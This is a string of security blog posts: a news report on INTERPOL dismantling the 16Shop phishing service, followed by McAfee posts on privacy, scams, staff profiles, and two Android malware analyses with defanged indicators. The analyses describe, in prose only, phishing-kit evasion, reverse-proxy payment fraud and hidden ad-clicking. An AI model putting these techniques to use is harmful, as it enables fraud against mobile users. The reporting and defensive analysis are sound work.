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You’ve probably never heard of “16Shop,” but there’s a good chance someone using it has tried to phish you.
A 16Shop phishing page spoofing Apple and targeting Japanese users. Image: Akamai.com.
The international police organization INTERPOL said last week it had shuttered the notorious 16Shop, a popular phishing-as-a-service platform launched in 2017 that made it simple for even complete novices to conduct complex and convincing phishing scams. INTERPOL said authorities in Indonesia arrested the 21-year-old proprietor and one of his alleged facilitators, and that a third suspect was apprehended in Japan.
The INTERPOL statement says the platform sold hacking tools to compromise more than 70,000 users in 43 countries. Given how long 16Shop has been around and how many paying customers it enjoyed over the years, that number is almost certainly highly conservative.
Also, the sale of “hacking tools” doesn’t quite capture what 16Shop was all about: It was a fully automated phishing platform that gave its thousands of customers a series of brand-specific phishing kits to use, and provided the domain names needed to host the phishing pages and receive any stolen credentials.
Security experts investigating 16Shop found the service used an application programming interface (API) to manage its users, an innovation that allowed its proprietors to shut off access to customers who failed to pay a monthly fee, or for those attempting to copy or pirate the phishing kit.
16Shop also localized phishing pages in multiple languages, and the service would display relevant phishing content depending on the victim’s geolocation.
Various 16Shop lures for Apple users in different languages. Image: Akamai.
For example, in 2019 McAfee found that for targets in Japan, the 16Shop kit would also collect Web ID and Card Password, while US victims will be asked for their Social Security Number.
“Depending on location, 16Shop will also collect ID numbers (including Civil ID, National ID, and Citizen ID), passport numbers, social insurance numbers, sort codes, and credit limits,” McAfee wrote.
In addition, 16Shop employed various tricks to help its users’ phishing pages stay off the radar of security firms, including a local “blacklist” of Internet addresses tied to security companies, and a feature that allowed users to block entire Internet address ranges from accessing phishing pages.
The INTERPOL announcement does not name any of the suspects arrested in connection with the 16Shop investigation. However, a number of security firms — including Akamai, McAfee and ZeroFox, previously connected the service to a young Indonesian man named Riswanda Noor Saputra, who sold 16Shop under the hacker handle “Devilscream.”
According to the Indonesian security blog Cyberthreat.id, Saputra admitted being the administrator of 16Shop, but told the publication he handed the project off to others by early 2020.
16Shop documentation instructing operators on how to deploy the kit. Image: ZeroFox.
Nevertheless, Cyberthreat reported that Devilscream was arrested by Indonesian police in late 2021 as part of a collaboration between INTERPOL and the U.S. Federal Bureau of Investigation (FBI). Still, researchers who tracked 16Shop since its inception say Devilscream was not the original proprietor of the phishing platform, and he may not be the last.
It is not uncommon for cybercriminals to accidentally infect their own machines with password-stealing malware, and that is exactly what seems to have happened with one of the more recent administrators of 16Shop.
Constella Intelligence, a data breach and threat actor research platform, now allows users to cross-reference popular cybercrime websites and denizens of these forums with inadvertent malware infections by information-stealing trojans. A search in Constella on 16Shop’s domain name shows that in mid-2022, a key administrator of the phishing service infected their Microsoft Windows desktop computer with the Redline information stealer trojan — apparently by downloading a cracked (and secretly backdoored) copy of Adobe Photoshop.
Redline infections steal gobs of data from the victim machine, including a list of recent downloads, stored passwords and authentication cookies, as well as browser bookmarks and auto-fill data. Those records indicate the 16Shop admin used the nicknames “Rudi” and “Rizki/Rizky,” and maintained several Facebook profiles under these monikers.
It appears this user’s full name (or at least part of it) is Rizky Mauluna Sidik, and they are from Bandung in West Java, Indonesia. One of this user’s Facebook pages says Rizky is the chief executive officer and founder of an entity called BandungXploiter, whose Facebook page indicates it is a group focused mainly on hacking and defacing websites.
A LinkedIn profile for Rizky says he is a backend Web developer in Bandung who earned a bachelor’s degree in information technology in 2020. Mr. Rizky did not respond to requests for comment.
Are you an online oversharer? Do you give your full birthday to all your online shopping accounts? Have a few companies you have accounts with been breached but you didn’t take any action at the time? If you have bad digital habits, now is an excellent time to reset your digital presence.
In isolation, these small digital transgressions don’t seem like a problem; however, cybercriminals can gather the bits and pieces of information you release into the world and Frankenstein them together to create believable impersonations or entirely new identities.
To protect your identity, here are a few ways to limit the amount of personally identifiable information (PII) you share online, plus a few tools that can help you identify and close your current security holes.
Most digital bad habits seem insignificant; however, the more bad habits you have that pile-up, the more at risk your PII and your identity can be. Check out this list of three common habits that you should consider breaking today and why.
When you sign up for new online shopping accounts, some companies ask for your birthday, your age, your middle name, and primary and secondary phone numbers and email addresses. While it might be nice to receive a special coupon on your birthday, you may want to reconsider volunteering unnecessary private details. To compromise you can sign up with a nickname and leave your birth year blank. That way, if a cybergang ever breaches the company, the criminals won’t get far with your personal details. To steal an identity and ruin someone’s credit, sometimes all it takes it a full name, birthday, and phone number.
Do you post your every thought and movement on social media? While curating the perfect online profile can be fun, it can also be dangerous to your online safety. For instance, posting “get to know you” quizzes are a gold mine for social engineers and cyber criminals, as the results often reveal potential password inspiration, security question answers, and your likes and dislikes. From here, criminals can take educated guesses at your passwords or tailor a social engineering scheme that’s most likely to fool you. Consider setting your social media profiles to private and blocking followers you don’t know personally. Or, just keep parts of your life a mystery to the wider world.
We can all agree that increasingly strict password requirements are leading to longer and more complex passwords that are confusing to cyber criminals and to the rightful account holders, too! It’s tempting to reuse passwords to reduce the burden on your memory, but this puts your valuable PII in danger. Password and username combinations are often information that’s leaked in company breaches. In what’s called a brute force attack, a cybercriminal can plug that same pairing into hundreds of websites and wait for a hit. Since unique passwords for all your dozens of accounts is imperative, entrust their safekeeping to a password manager.
If you’re feeling uneasy about your online habits and the effect they may have had on your online safety, McAfee Protection Score gives you the information you need to take charge and make changes. Protection Score not only tells you how safe (or unsafe) you are, but the tool also offers suggestions on how you can raise your score, and thus be safer online. The service monitors data breaches and indicates when your email was part of a leak. Protection Score also dives into the dark web so you don’t have to. If your government ID or financial information appears, your score will take a large hit.
Protection Score not only tells you how safe (or unsafe) you are, but the tool also offers suggestions on how you can raise your score, and thus be safer online. The sooner you know your weak points, the quicker and more completely you can fortify your defenses and clean up after months (or years) of bad habits. Knowledge is power in the right against cyber criminals, so Protection Score is an excellent partner to help adopt smarter habits on the path to better online security.
With McAfee+ Ultimate, you not only get a Protection Score but a host of other top-rate tools to protect your identity, retain your online privacy, and help you recover from an identity theft. Running an antivirus, connecting to a VPN and installing web protection on your browser are all ways to increase your Protection Score, and these features are available with McAfee’s most thorough privacy, identity, and device protection service.
Make 2023 the year of living online confidently and safely!
The post New Year, New You: Start Fresh With McAfee Protection Score appeared first on McAfee Blog.
Our How I Got Here series spotlights the stories of McAfee team members who have successfully grown their careers. Read more about Brenda’s McAfee’s journey, what a day in the McAfee sales team is like, and what her superpower is.
When I started my professional career, I was in technology but one of the few women there at the time. A colleague encouraged me to join the Canadian Information Processing Society as a volunteer. I was just exploring, but it turned out to be a career-builder.
After some time, I joined the Society’s board – my first board appointment ever. Suddenly I was in a leadership position and people were looking to me to make decisions, especially the CIOs and other executives who were on the board with me. I embraced the opportunity, and the expectations they had of me shaped the professional I am today.
I knew about McAfee from some people who had already worked there and was intrigued by the premise of protecting families online. This was a chance to do what I loved at a bigger scale. And after my interviews, I knew it was the right move!
I am part of the North American Sales team that acquires customers through partnerships with big box retailers throughout North America. Together with our partners, we help customers see the value of McAfee.
In sales, you are constantly interacting with people. Each day is different: one moment I’m planning with partners on how to jointly protect their customers and families online. The next, I’m working will McAfee colleagues on sales strategies and business planning. My days are a steady mix of conference and video calls to collaborate, plan, and connect.
Every day, I get to work with so many great people. On top of that, we’re using our powers for good! Everyone, partners and colleagues alike, are all inspired by our ultimate mission: to protect people and their families. I keep going back to the people – but what a fabulous community of colleagues and partners we work with globally! I also love the birds-eye view I get across all McAfee’s business units. In order to make good on the promises we make to our partners, I collaborate every day with so many key stakeholders across our entire business.
And now that my children are adults, I’m finding more time for exercise, like Peloton or F45 cross fit. I’m also taking piano classes, and I just wrapped a one-night-a-week downhill skiing program with one of my daughters!
McAfee lets you be flexible in getting your job done and taking on other projects. I am so grateful that I can help others through activities such as WISE (the McAfee Women In Security community). It’s important to do something outside of your day job because it makes your world bigger.
I work with some really great women on the WISE board. We are so supportive of each other. Board work is outside of our normal day jobs and sometimes we want to do things we haven’t done before. We put our heads together to figure it out quickly, divide up the work, and get it done!
I’ve also been very fortunate to be able to meet with many customers, partners, and colleagues face-to-face. This has allowed me to learn and grow, not only in my career but also in the Diversity and Inclusion space. The more you know about someone, the better partner and ally you can be.
Over my career, I’ve built up my superpower: building relationships. I choose to be positive and empathetic, which helps me develop strong working relationships. I also keep in touch with people I’ve worked with over the years, whether they are peers, customers, or younger professionals I’ve mentored.
The post Know Your Superpower: Brenda’s McAfee Journey appeared first on McAfee Blog.
Authored by SangRyol Ryu and Yukihiro Okutomi
McAfee’s Mobile Research team recently analyzed new malware targeting mobile payment users in Japan. The malware which was distributed on the Google Play store pretends to be a legitimate mobile security app, but it is in fact a payment fraud malware stealing passwords and abusing reverse proxy targeting the mobile payment services. McAfee researchers notified Google of the malicious apps, スマホ安心セキュリティ, or ‘Smartphone Anshin Security’, package name ‘com.z.cloud.px.app’ and ‘com.z.px.appx’. The applications are no longer available on Google Play. Google Play Protect has also taken steps to protect users by disabling the apps and providing a warning. McAfee Mobile Security products detect this threat as Android/ProxySpy.
The malware actor continues to publish malicious apps on the Google Play Store with various developer accounts. According to the information posted on Twitter by Yusuke Osumi, Security Researcher at Yahoo! Japan, the attacker sends SMS messages from overseas with a Google Play link to lure users to install the malware. To attract more users, the message entices users to update security software.
A SMS message from France (from Twitter post by Yusuke)
Malware on Google Play
The Mobile Research team also found that the malware actor uses Google Drive to distribute the malware. In contrast to installing an application after downloading an APK file, Google Drive allows users to install APK files without leaving any footprint and makes the installation process simpler. Once the user clicks the link, there are only a few more touches required to run the application. Only three clicks are enough if users have previously allowed the installation of unknown apps on Google Drive.
Following notification from McAfee researchers, Google has removed known Google Drive files associated with the malware hashes listed in this blog post.
When a user installs and launches this malware, it asks for the Service password. Cleverly, the malware shows incorrect password messages to collect the more precise passwords. Of course, it does not matter whether the password is correct or not. It is a way of getting the Service password. The Service password is used for the payment service which provides easy online payments. The user can start this payment service by setting a Service password. The charge will be paid along with the mobile phone bill.
There is a native library named ‘libmyapp.so’ loaded during the app execution written in Golang. The library, when loaded, tries to connect to the C2 server using a Web Socket. Web Application Messaging Protocol (WAMP) is used to communicate and process Remote Procedure Calls (RPC). When the connection is made, the malware sends out network information along with the phone number. Then, it registers the client’s procedure commands described in the table below. The web socket connection is kept alive and takes the corresponding action when the command is received from the server like an Agent. And the socket is used to send the Service password out to the attacker when the user enters the Service password on the activity.
| RPC Function name | Description |
| connect_to | Create reverse proxy and connect to remote server |
| disconnect | Disconnect the reverse proxy |
| get_status | Send the reverse proxy status |
| get_info | Send line number, connection type, operator, and so on |
| toggle_wifi | Set the Wi-Fi ON/OFF |
| show_battery_opt | Show dialog to exclude battery optimization for background work |
Registered RPC functions description
To make a fraudulent purchase by using leaked information, the attacker needs to use the user’s network. The RPC command ‘toggle_wifi’ can switch the connection state to Wi-Fi or cellular network, and ‘connect_to’ will provide a reverse proxy to the attacker. A reverse proxy can allow connecting the host behind a NAT (Network Address Translation) or a firewall. Via the proxy, the attacker can send purchase requests via the user’s network.
It is an interesting point that the malware uses a reverse proxy to steal the user’s network and implement an Agent service with WAMP. McAfee Mobile Research Team will continue to find this kind of threat and protect our customers from mobile threats. It is recommended to be more careful when entering a password or confidential information into untrusted applications.
193[.]239[.]154[.]23
91[.]204[.]227[.]132
ruboq[.]com
| SHA256 | Package Name | Distribution |
| 5d29dd12faaafd40300752c584ee3c072d6fc9a7a98a357a145701aaa85950dd | com.z.cloud.px.app | Google Play |
| e133be729128ed6764471ee7d7c36f2ccb70edf789286cc3a834e689432fc9b0 | com.z.cloud.px.app | Other |
| e7948392903e4c8762771f12e2d6693bf3e2e091a0fc88e91b177a58614fef02 | com.z.px.appx | Google Play |
| 3971309ce4a3cfb3cdbf8abde19d46586f6e4d5fc9f54c562428b0e0428325ad | com.z.cloud.px.app2 | Other |
| 2ec2fb9e20b99f60a30aaa630b393d8277949c34043ebe994dd0ffc7176904a4 | com.jg.rc.papp | Google Drive |
| af0d2e5e2994a3edd87f6d0b9b9a85fb1c41d33edfd552fcc64b43c713cdd956 | com.de.rc.seee | Google Drive |
The post Fake Security App Found Abuses Japanese Payment System appeared first on McAfee Blog.
Do yourself a favor: Open a new browser tab and head to your search engine of choice. Type in your full name and home address. Then, see what pops up.
Are the results sparking an ember of unease in the back of your brain? Whether you’re a private person online or you’re comfortable sharing your daily life updates on social media, there are likely to be several personal details about you on sites that shouldn’t have that information. Some of these sites may be data brokerage websites.
Data brokerage sites are legal and are mostly used by annoying advertisers, though cybercriminals may also use them maliciously. The average person has their information for sale on 31 data brokerage sites, and 95% of people have their personal information on sale without their permission.
So how do you scrub the internet of your personal details to keep your identity secure? McAfee Personal Data Cleanup is a service that prevents your personal information from being collected and sold online. Here’s why you should consider taking a few easy steps now to give you peace of mind about the security of your personally identifiable information (PII).
Attack surface is a term usually applied to corporate security, but it’s a great visualization for everyday people going about their personal online errands and entertainment. An attack surface is the number of possible entry points a cybercriminal could weasel their way through to get at your valuable and private information. Entry points include your social media profiles, your online shopping accounts, and data brokerage sites. The fewer entry points you have, the harder it is for cybercriminals to find and exploit them.
While Social Security Numbers (SSNs) are generally revered as the piece of PII to guard most closely, a cybercriminal can still damage your identity with just your name and an address, email address, or phone number. For example, they can request new passwords or multifactor authentication one-time passcodes to break their way into online banking or shopping accounts. Security breaches are happening to huge companies all over the world. All it takes is for your SSN to be leaked in one of them, for a cybercriminal to piece together your digital clone and use it to harm your identity or credit.
Personal Data Cleanup minimizes your attack surface by removing as much PII as possible that’s floating around the internet, just waiting for someone to buy it.
When you’re aware of how many unauthorized vendors are selling your PII, it could be the wakeup call you need start adopting more cautious online habits. For instance, oversharing on social media leaks a lot of valuable details that a savvy criminal can then use to take educated guesses at your passwords or craft a social engineering plot catered just to you.
The present is as good a time as any to start protecting your identity for the future; however, getting started is often the most difficult step. It can seem overwhelming to reach out to every data brokerage site individually and request they remove your info. Personal Data Cleanup can be your partner not only in beginning the cleanup process but in monitoring your data security to keep your online presence as minimal as possible. The service scans the internet’s riskiest sites and then, before deleting your information from these sites, runs it by you to confirm. Then, it will continually monitor those same sites, as your information will likely reappear every two to four months.
Do not underestimate the tenacity of a cybercriminal. Even for people who have the attitude that their PII is bound to be somewhere online and that it’s no big deal, McAfee Personal Data Cleanup manages three key steps in the data removal process: scanning, removing, and monitoring. So, even if you’re not convinced that data brokerage sites are a threat, the process is too easy to put off any longer!
For those who are concerned about their online privacy, full-service Personal Data Cleanup is included in McAfee+ Ultimate, which is the complete package to let you live your online life in private. McAfee+ Ultimate also includes identity monitoring and identity theft resolution services, unlimited VPN, credit lock, and much more.
In 2021, more than 1.4 million identity theft complaints were filed to the Federal Trade Commission.1 Identity theft can occur to anyone, so take steps today, starting with data brokerage sites, to live a more secure and more private digital life.
1Federal Trade Commission, “New Data Shows FTC Received 2.8 Million Fraud Reports from Consumers in 2021”
The post McAfee Personal Data Cleanup: Your Partner in Living a More Private Online Life appeared first on McAfee Blog.
Authored by Oliver Devane
It hasn’t taken malicious actors long to take advantage of the recent bankruptcy filing of FTX, McAfee has discovered several phishing sites targeting FTX users.
One of the sites discovered was registered on the 15th of November and asks users to submit their crypto wallet phrase to receive a refund. After entering this phrase, the creators of the site would gain access to the victim’s crypto wallet and they would likely transfer all the funds out of it.
Upon analyzing the website code used to create the phishing sites, we noticed that they were extremely similar to previous sites targeting WalletConnect customers, so it appears that they likely just modified a previous phishing kit to target FTX users.
The image below shows a code comparison between a website from June 2022, and it shows that the FTX phishing site shares most of its code with it.
McAfee urges anyone who was using FTX to be weary of any unsolicited emails or social media messages they receive and to double-check the authenticity before accessing them. If you are unsure of the signs to look for, please check out the McAfee Scam education portal (https://www.mcafee.com/consumer/en-us/landing-page/retention/scammer-education.html)
McAfee customers are protected against the sites mentioned in this blog
| Type | Value | Product | Detected |
| URL | ftx-users-refund[.]com | McAfee WebAdvisor | Blocked |
| URL | ftx-refund[.]com | McAfee WebAdvisor | Blocked |
The post Threat Actors Taking Advantage of FTX Bankruptcy appeared first on McAfee Blog.
Following up on our previous blog, How to Stop the Popups, McAfee Labs saw a sharp decrease in the number of deceptive push notifications reported by McAfee consumers running Microsoft’s Edge browser on Windows.
Such browser-delivered push messages appear as toaster pop-ups in the tray above the system clock and are meant to trick users into taking various actions, such as installing software, purchasing a subscription, or providing personal information.
Upon further investigation, this major drop seems to be associated with a change in the behavior of the Edge browser with two notable improvements over older versions.
First, when users visit websites known to deliver deceptive push notifications, Edge blocks authorization prompts that could trick users into opting-in to receive popups:
Second, when unwanted popups do occur, it is now easier than ever to disable them, on a per-site basis. Users can simply click the three dots (…) on the right of the notification and choose to “Turn off all notifications for” the domain responsible for the popup.
This is a great improvement over the previous experience of having to manually navigate browser settings to achieve the desired result.
Earlier this year, 9TO5Google reported a Chrome code change may be indicative of a similar crack down by Google on nefarious popups.
One can hope Google will follow Microsoft’s example to improve browser security and usability.
The post Microsoft’s Edge over Popups (and Google Chrome) appeared first on McAfee Blog.
Authored by: Christy Crimmins and Oliver Devane
Football (or Soccer as we call it in the U.S.) is the most popular sport in the world, with over 3.5 billion fans across the globe. On November 20th, the men’s World Cup kicks off (pun intended) in Qatar. This event, a tournament played by 32 national teams every four years, determines the sport’s world champion. It will also be one of the most-watched sporting events of at least the last four years (since the previous World Cup).
An event with this level of popularity and interest also attracts fraudsters and cyber criminals looking to capitalize on fans’ excitement. Here’s how to spot these scams and stay penalty-free during this year’s tournament.
Phishing is a tool that cybercriminals have used for years now. Most of us are familiar with the telltale signs—misspelled words, poor grammar, and a sender email whose email address makes no sense or whose phone number is unknown. But excitement and anticipation can cloud our judgment. What football fan wouldn’t be tempted to win a free trip to see their home team participate in the ultimate tournament? Cybercriminals are betting that this excitement will cloud fans’ judgment, leading them to click on nefarious links that ultimately download malware or steal personal information.
It’s important to realize that these messages can come via a variety of channels, including email, text messages, (also known as smishing) and other messaging channels like WhatsApp and Telegram. No matter what the source is, it’s essential to remain vigilant and pause to think before clicking links or giving out personal or banking information.
For more information on phishing and how to spot a phisher, see McAfee’s “What is Phishing?” blog.
According to ActionFraud, the UK’s national reporting center for fraud and cybercrime, thousands of people were victims of ticket fraud in 2019—and that’s just in the UK. Ticket fraud is when someone advertises tickets for sale, usually through a website or message board, collects the payment and then disappears, without the buyer ever receiving the ticket.
The World Cup is a prime (and lucrative) target for this type of scam, with fans willing to pay thousands of dollars to see their teams compete. Chances are most people have their tickets firmly in hand (or digital wallet) by now, but if you’re planning to try a last-minute trip, beware of this scam and make sure that you’re using a legitimate, reputable ticket broker. To be perfectly safe, stick with well-known ticket brokers and those who offer consumer protection. Also beware of sites that don’t accept debit or credit cards and only accept payment in the form of bitcoin or wire transfers such as the one on the fake ticket site below:
The red box on the right image shows that the ticket site accepts payment via Bitcoin.
Other red flags to look out for are websites that ask you to contact them to make payment and the only contact information is via WhatsApp.
Let’s be realistic—most of us are going to have to settle for watching the World Cup from the comfort of our own home, or the pub down the street. If you’re watching the tournament online, be sure that you’re using a legitimate streaming service. A quick Google of “FIFA World Cup 2022 Official Streaming” along with your country should get you the information you need to safely watch the event through official channels. The FIFA site itself is also a good source of information.
Illegal streaming sites usually contain deceptive ads and malware which can cause harm to your device.
In countries or regions where sports betting is legal, the 2022 World Cup is expected to drive an increase in activity. There’s no shortage of things to bet on, from a simple win/loss to the exact minute a goal will be scored by a particular player. Everything is subject to wager.
As with our previous examples, this increase in legitimate gambling brings with it an increase in deceptive activity. Online betting scams often start when users are directed to or search for gambling site and end up on a fraudulent one. After placing their bets and winning, users realize that while they may have “won” money, they are unable to withdraw it and are even sometimes asked to deposit even more money to make winnings available, and even then, they still won’t be. By the end of this process, the bettor has lost all their initial money (and then some, potentially) as well as any personal information they shared on the site.
Like other scams, users should be wary of sites that look hastily put together or are riddled with errors. Your best bet (yes, again, pun intended) is to look for an established online service that is approved by your government or region’s gaming commission. Finally, reading the fine print on incentives or bonuses is always a good idea. If something sounds too good to be true, it’s best to double-check.
For more on how you can bet online safely, and for details on how legalized online betting works in the U.S., check out our blog on the topic.
Using a free public Wi-Fi connection is risky. User data on these networks is unprotected, which makes it vulnerable to cyber criminals. Whether you’re traveling to Qatar for a match or watching the them with friends at your favorite pub, if you’re connecting to a public Wi-Fi connection, make sure you use a trusted VPN connection.
For more information on scams, visit our scam education page. Hopefully, with these tips, you’ll be able to enjoy and participate in some of the World Cup festivities, after all, fun is the goal!
The post Don’t Get Caught Offsides with These World Cup Scams appeared first on McAfee Blog.
Vernon has been our Manager of Technical Accounting for more than two years, but that doesn’t mean he’s busy with spreadsheets and numbers all day.
It’s been an amazing ride so far. My team touches on several areas of responsibility, including financial period closing, financial reporting, and accounting for complex transactions.
The most rewarding part of my role is definitely the variety and complexity – they really go hand-in-hand and I enjoy asking questions and figuring out the solutions, even when there is not always a textbook answer. I enjoy the challenge of working collectively with a team to find solutions by applying research and experience to a set of facts.
It’s also rewarding to be able to collaborate with auditors and other stakeholders who would be interested in the results.
My favorite thing about working at McAfee is the team. We have an amazing team. It’s full of really smart people. I’ve seen some companies try and find the best talent they can, but McAfee has just taken that to a whole different level. Everyone in their respective areas is really tuned in to the broader effort and we work well together. At McAfee, we enjoy both a high level of talent and collaborative effort. You don’t often find both in the same place.
I really believe that each person brings certain strengths to the table, and they should be able to exercise those strengths to develop and expand their capabilities. Once those natural roles are established, it’s best to trust them to determine how best to perform in their roles and collaborate with the team in achieving results that add value to the broader group.
First, expect the unexpected – consider each new experience an opportunity for personal growth.
Secondly, get involved in projects. If you have the opportunity to do something different or work with a cross-functional team, do it. It builds your own skill base, which opens the door for greater future opportunities and you get to meet people outside of your own department and develop relationships that may prove valuable over time.
The post For some, accounting is more than just spreadsheets! Vernon’s McAfee Journey appeared first on McAfee Blog.
Authored by SangRyol Ryu
Cybercriminals are always after illegal advertising revenue. As we have previously reported, we have seen many mobile malwares masquerading as a useful tool or utility, and automatically crawling ads in the background. Recently the McAfee Mobile Research Team has identified new Clicker malware that sneaked into Google Play. In total 16 applications that were previously on Google Play have been confirmed to have the malicious payload with an assumed 20 million installations.
McAfee security researchers notified Google and all of the identified apps are no longer available on Google Play. Users are also protected by Google Play Protect, which blocks these apps on Android. McAfee Mobile Security products detect this threat as Android/Clicker and protect you from malware. For more information, to get fully protected, visit McAfee Mobile Security.
The malicious code was found on useful utility applications like Flashlight (Torch), QR readers, Camara, Unit converters, and Task managers:
Once the application is opened, it downloads its remote configuration by executing an HTTP request. After the configuration is downloaded, it registers the FCM (Firebase Cloud Messaging) listener to receive push messages. At first glance, it seems like well-made android software. However, it is hiding ad fraud features behind, armed with remote configuration and FCM techniques.
| Attribute name | Known meaning of the value |
| FCMDelay | Initial start hours after first installation |
| adButton | Visivility of a button of Advertisement |
| adMob | AdMob unit ID |
| adMobBanner | AdMob unit ID |
| casOn | Whether CAS library works or not |
| facebookAd | FaceBook Ad ID |
| fbAdRatio | Ratio of FB AD |
| googleAdRatio | Ratio of AdMob |
| is | Decide BootService to run or not |
| urlOpen | to open popup or not when starts PowerService |
| popUrl | URL for PowerService |
| popUpDelay | Delay time for PowerService |
| liveUrl | URL for livecheck service |
| pbeKey | Key for making unique string |
| playButtonList | URL for other service |
| reviewPopupDialog | ‘y’ it shows review dialog |
| tickDelay | Delay time for TickService |
| tickEnable | Value of TickService enabled |
| tickRandomMax | Value of TickService random delay |
| tickRandomMin | Value of TickService random delay |
| tickType | Set the type of TickService |
| updateNotiVersion | Value for showing update activity |
The FCM message has various types of information and that includes which function to call and its parameters. The picture below shows some of FCM message history:
When an FCM message receives and meets some condition, the latent function starts working. Mainly, it is visiting websites which are delivered by FCM message and browsing them successively in the background while mimicking user’s behavior. This may cause heavy network traffic and consume power without user awareness during the time it generates profit for the threat actor behind this malware. In the picture below there is an example of the network traffic generated to get the information required to generate fake clicks and the websites visited without user’s consent or interaction:
So far, we have identified two pieces of code related to this threat. One is “com.click.cas” library which focuses on the automated clicking functionality while “com.liveposting” library works as an agent and runs hidden adware services:
Depending on the version of the applications, some have both libraries working together while other applications only have “com.liveposting” library. The malware is using installation time, random delay and user presence to avoid the users from noticing these malicious acts. The malicious behavior won’t start if the installation time is within an hour and during the time the user is using the device, probably to stay under the radar and avoid being detected right away:
Clicker malware targets illicit advertising revenue and can disrupt the mobile advertising ecosystem. Malicious behavior is cleverly hidden from detection. Malicious actions such as retrieving crawl URL information via FCM messages start in the background after a certain period of time and are not visible to the user.
McAfee Mobile Security detects and removes malicious applications like this one that may run in the background without user’s knowledge. Also, we recommend having a security software installed and activated so you will be notified of any mobile threats present on your device in a timely manner. Once you remove this and other malicious applications, you can expect an extended battery time and you will notice reduced mobile data usage while ensuring that your sensitive and personal data is protected from this and other types of threats.
liveposting[.]net
sideup[.]co[.]kr
msideup[.]co[.]kr
post-blog[.]com
pangclick[.]com
modooalba[.]net
| SHA256 | Package name | Name | Downloaded |
| a84d51b9d7ae675c38e260b293498db071b1dfb08400b4f65ae51bcda94b253e | com.hantor.CozyCamera | High-Speed Camera | 10,000,000+ |
| 00c0164d787db2ad6ff4eeebbc0752fcd773e7bf016ea74886da3eeceaefcf76 | com.james.SmartTaskManager | Smart Task Manager | 5,000,000+ |
| b675404c7e835febe7c6c703b238fb23d67e9bd0df1af0d6d2ff5ddf35923fb3 | kr.caramel.flash_plus | Flashlight+ | 1,000,000+ |
| 65794d45aa5c486029593a2d12580746582b47f0725f2f002f0f9c4fd1faf92c | com.smh.memocalendar | 달력메모장 | 1,000,000+ |
| 82723816760f762b18179f3c500c70f210bbad712b0a6dfbfba8d0d77753db8d | com.joysoft.wordBook | K-Dictionary | 1,000,000+ |
| b252f742b8b7ba2fa7a7aa78206271747bcf046817a553e82bd999dc580beabb | com.kmshack.BusanBus | BusanBus | 1,000,000+ |
| a2447364d1338b73a6272ba8028e2524a8f54897ad5495521e4fab9c0fd4df6d | com.candlencom.candleprotest | Flashlight+ | 500,000+ |
| a3f484c7aad0c49e50f52d24d3456298e01cd51595c693e0545a7c6c42e460a6 | com.movinapp.quicknote | Quick Note | 500,000+ |
| a8a744c6aa9443bd5e00f81a504efad3b76841bbb33c40933c2d72423d5da19c | com.smartwho.SmartCurrencyConverter | Currency Converter | 500,000+ |
| 809752e24aa08f74fce52368c05b082fe2198a291b4c765669b2266105a33c94 | com.joysoft.barcode | Joycode | 100,000+ |
| 262ad45c077902d603d88d3f6a44fced9905df501e529adc8f57a1358b454040 | com.joysoft.ezdica | EzDica | 100,000+ |
| 1caf0f6ca01dd36ba44c9e53879238cb46ebb525cb91f7e6c34275c4490b86d7 | com.schedulezero.instapp | Instagram Profile Downloader | 100,000+ |
| 78351c605cfd02e1e5066834755d5a57505ce69ca7d5a1995db5f7d5e47c9da1 | com.meek.tingboard | Ez Notes | 100,000+ |
| 4dd39479dd98124fd126d5abac9d0a751bd942b541b4df40cb70088c3f3d49f8 | com.candlencom.flashlite | 손전등 | 1,000+ |
| 309db11c2977988a1961f8a8dbfc892cf668d7a4c2b52d45d77862adbb1fd3eb | com.doubleline.calcul | 계산기 | 100+ |
| bf1d8ce2deda2e598ee808ded71c3b804704ab6262ab8e2f2e20e6c89c1b3143 | com.dev.imagevault | Flashlight+ | 100+ |
The post New Malicious Clicker found in apps installed by 20M+ users appeared first on McAfee Blog.
McAfee’s Secure VPN now supports the WireGuard protocol, which gives you faster connection speeds plus enhanced stability and security.
WireGuard is the latest standard in Virtual Private Network (VPN) technology, and we’re rolling it out across McAfee Secure VPN for Windows which is included in our comprehensive online protection plans. And just as before, it offers smart protection that can be set to automatically turn on when you need it, so you can stay more private and more secure online.
If you’re new to using a VPN, let’s take a quick look at two of the big things a VPN can do for you.
The bank-grade encryption used by a strong VPN shields your data and information while it’s in transit, which makes it difficult for hackers to spy on your connection. (Think of your data and information traveling through a tunnel that no one else can use or see into.) In that way, a VPN makes all kinds of online activities more secure—like banking, shopping, and checking up on your finances, even using your apps.
By masking your whereabouts and your IP address, along with encryption that helps keep your activities private, a VPN reduces the personal information that others can collect and track. That includes internet service providers, social media companies, businesses, app developers, websites, and others who gather your data for marketing purposes or for resale to third parties.
A quick word about what WireGuard is in slightly more detail. It’s a VPN protocol, which is a series of technical rules that govern how your device can securely reach the VPN servers, validate your access to the requests you make online, and encrypt your browsing traffic so that only you can see what you are doing over the internet. WireGuard is one of several protocols that we support, such as the OpenVPN and IKEv2 protocols. While WireGuard improves upon OpenVPN and IKEv2 in many ways, both are still secure and safe ways in which a VPN can connect.
Now with the latest WireGuard standard in place, our VPN for Windows that comes with all our all-in-one plans offers faster speeds and improved stability compared to what previous standards offered. This gives you the security of a VPN with similar performance as if you were on a fully open connection—along with the added benefit of keeping your browsing and other activities private.
Taken together, the improved speed and stability give privacy-conscious people a further reason to use a VPN more often than before. Because a VPN can minimize the exposure of data as it transmits to and from your devices, companies and data brokers can potentially learn far less about you, your shopping, your travels, your habits, and any other information that they could possibly collect and otherwise profit from. The more often you use a VPN, the less they can potentially gather.
For more about VPNs and how ours can keep you more private and secure online, give us a visit here any time.
The post McAfee Secure VPN: Now with WireGuard for Faster Speeds and Enhanced Stability appeared first on McAfee Blog.
*TW: Mentions Suicide
Our passion for protecting people doesn’t stop with online safety. We deeply care for our people, their families and friends, and our communities.
To recognize World Suicide Prevention on Sept. 10 and help normalize and encourage conversations about mental health year-round, we recently hosted a discussion with McAfee colleagues and suicide prevention activist and owner of The Jordan Legacy, Steve Phillip. During this session Steve discussed his own personal lived experience of suicide and what he’s learned since establishing The Jordan Legacy when it comes to creating an open and safe environment for all.
“I established The Jordan Legacy in 2020, following the suicide of my 34-year-old son, Jordan, in December 2019. It’s a registered not-for-profit Community Interest Company (CIC), whose mission is to raise awareness about suicide, open the conversation, help remove the stigma surrounding this topic and importantly, engage with communities and workplaces to discuss and identify practical solutions which will help prevent suicide.”
